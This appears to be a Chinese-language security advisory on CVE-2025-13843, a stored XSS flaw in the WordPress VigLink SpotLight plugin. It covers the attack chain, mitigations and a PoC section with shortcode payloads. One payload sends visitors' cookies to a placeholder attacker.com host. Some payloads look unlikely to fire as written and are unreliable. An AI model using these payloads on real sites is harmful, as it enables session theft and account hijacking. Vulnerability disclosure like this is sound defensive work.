CVE-2025-13843 CVSS 6.4 中危

WordPress VigLink SpotLight插件存储型XSS漏洞 (CVE-2025-13843)

披露日期: 2025-12-12

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-13843

漏洞类型

存储型XSS (Stored Cross-Site Scripting)

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress VigLink SpotLight By ShortCode插件

漏洞概述

CVE-2025-13843是WordPress VigLink SpotLight By ShortCode插件中的一个存储型跨站脚本(XSS)漏洞。该插件用于在WordPress网站中通过短代码展示VigLink推广内容。漏洞源于插件对用户输入的'float'参数缺乏充分的输入清理和输出转义处理，导致恶意脚本可以被注入到页面中。由于漏洞利用需要 Contributor 级别权限，攻击者门槛相对较低，且注入的恶意脚本会永久存储在数据库中，所有访问受影响页面的用户都会执行该脚本，危害范围广泛。攻击者可利用此漏洞窃取用户会话cookie、劫持用户账户或进行钓鱼攻击。

技术细节

漏洞位于插件的spotlight.php文件中，具体在处理[spotlight]短代码的'float'参数时存在输入验证缺陷。当用户在短代码中传入float参数时，插件直接将用户输入的值输出到HTML页面而未进行适当的转义处理。例如：[spotlight float='任意值']会被直接渲染为HTML属性而未做转义。WordPress短代码处理机制默认不会对属性值进行转义，插件开发者需要在处理属性时主动调用esc_attr()等函数进行输出转义。由于该插件缺少这一安全处理，攻击者可以通过构造恶意payload（如：float='" onmouseover="alert(document.cookie)" style="background:url(//x.com/a) "）来注入任意JavaScript代码。由于存储型XSS的特性，恶意代码会持久存在于数据库中，所有访问该页面的用户都会触发攻击。

攻击链分析

STEP 1

1. 信息收集

攻击者识别目标网站使用的WordPress版本和VigLink SpotLight插件，确认插件版本在1.0.a或以下

STEP 2

2. 获取访问权限

攻击者获取目标WordPress网站的 Contributor 或更高权限账户（如通过钓鱼、密码爆破或社工手段）

STEP 3

3. 注入恶意代码

在文章或页面中插入包含恶意payload的spotlight短代码，利用float参数注入XSS脚本，如：[spotlight float='" onerror="alert(1)" x="']

STEP 4

4. 代码持久化

由于存储型XSS特性，恶意代码被保存在数据库中，每次页面加载时都会从数据库读取并执行

STEP 5

5. 触发攻击

当管理员或其他用户访问包含恶意短代码的页面时，注入的JavaScript代码在其浏览器中执行

STEP 6

6. 窃取敏感信息

攻击者可通过JavaScript获取用户cookie、会话令牌等敏感信息，进而劫持用户账户

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// WordPress Stored XSS PoC via VigLink SpotLight shortcode
// Requires Contributor-level access or higher

// Basic PoC - inject alert box
[spotlight float='" onerror="alert(document.cookie)" x="']

// More sophisticated PoC - steal cookies
[spotlight float='" onload="fetch(`https://attacker.com/steal?c=${document.cookie}`)" x="']

// XSS via style attribute manipulation
[spotlight float="' style='animation-name:rotation;animation-duration:1s;animation-iteration-count:infinite;onanimationiteration=alert(document.domain)//'"]

// The injected script will execute when any user visits the affected page

影响范围

VigLink SpotLight By ShortCode plugin <= 1.0.a

防御指南

临时缓解措施

如果无法立即更新插件，可临时采取以下措施：1) 限制新用户注册为Contributor角色；2) 对所有文章/页面的shortcode进行人工审核；3) 在Web应用防火墙(WAF)中添加针对XSS攻击的规则；4) 使用Content Security Policy (CSP)头部限制脚本执行；5) 监控网站文件变更，及时发现恶意代码注入。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表